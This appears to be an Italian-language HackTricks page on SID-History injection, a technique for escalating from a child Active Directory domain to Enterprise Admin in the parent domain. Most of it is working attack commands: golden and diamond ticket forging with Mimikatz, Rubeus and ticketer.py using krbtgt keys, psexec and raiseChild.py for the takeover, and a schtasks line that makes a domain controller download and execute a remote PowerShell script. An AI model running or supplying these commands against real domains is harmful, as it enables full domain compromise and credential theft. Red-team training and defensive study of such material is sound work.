SID-History Injection

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Attacco di iniezione di SID-History

L'obiettivo dell'attacco di iniezione di SID-History è facilitare la migrazione dell'utente tra domini garantendo al contempo l'accesso continuato alle risorse del dominio precedente. Ciò viene realizzato incorporando l'Identificatore di Sicurezza (SID) precedente dell'utente nella SID-History del suo nuovo account. In particolare, questo processo può essere manipolato per concedere accesso non autorizzato aggiungendo la SID di un gruppo ad alta privilegi (come Enterprise Admins o Domain Admins) del dominio principale alla SID-History. Sfruttando questa vulnerabilità si ottiene accesso a tutte le risorse all'interno del dominio principale.

Esistono due metodi per eseguire questo attacco: attraverso la creazione di un Golden Ticket o di un Diamond Ticket.

Per individuare la SID del gruppo "Enterprise Admins", è necessario prima individuare la SID del dominio radice. Dopo averla identificata, la SID del gruppo Enterprise Admins può essere costruita aggiungendo -519 alla SID del dominio radice. Ad esempio, se la SID del dominio radice è S-1-5-21-280534878-1496970234-700767426, la SID risultante per il gruppo "Enterprise Admins" sarebbe S-1-5-21-280534878-1496970234-700767426-519.

È anche possibile utilizzare il gruppo Domain Admins, che termina con 512.

Un altro modo per trovare la SID di un gruppo dell'altro dominio (ad esempio "Domain Admins") è con:

Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid

Golden Ticket (Mimikatz) con KRBTGT-AES256

mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"

/user is the username to impersonate (could be anything)
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.

# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain

Per ulteriori informazioni sui biglietti d'oro, controlla:

pageGolden Ticket

Biglietto di diamante (Rubeus + KRBTGT-AES256)

# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap

# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid>  /sids:<parent_domain_sid>-519 /user:Administrator /ptt

# You can use "Administrator" as username or any other string

Per ulteriori informazioni sui biglietti diamond, controlla:

pageDiamond Ticket
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$

Elevare a DA o root o Enterprise admin utilizzando l'hash KRBTGT del dominio compromesso:

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'

gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local

schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"

schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"

Con le autorizzazioni acquisite dall'attacco, puoi eseguire ad esempio un attacco DCSync nel nuovo dominio:

pageDCSync

Da Linux

Manuale con ticketer.py

# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"

# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator

# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS

# Load ticket
export KRB5CCNAME=hacker.ccache

# psexec in domain controller of root
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10

Automatico utilizzando raiseChild.py

Questo è uno script di Impacket che automatizza l'escalation dal dominio figlio al dominio genitore. Lo script richiede:

  • Controller di dominio di destinazione

  • Credenziali per un utente amministratore nel dominio figlio

Il flusso è il seguente:

  • Ottiene l'SID del gruppo Enterprise Admins del dominio genitore

  • Recupera l'hash per l'account KRBTGT nel dominio figlio

  • Crea un Golden Ticket

  • Effettua il login nel dominio genitore

  • Recupera le credenziali per l'account Administrator nel dominio genitore

  • Se viene specificato l'interruttore target-exec, si autentica al Domain Controller del dominio genitore tramite Psexec.

raiseChild.py -target-exec 10.10.10.10 <child_domain>/username

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Last updated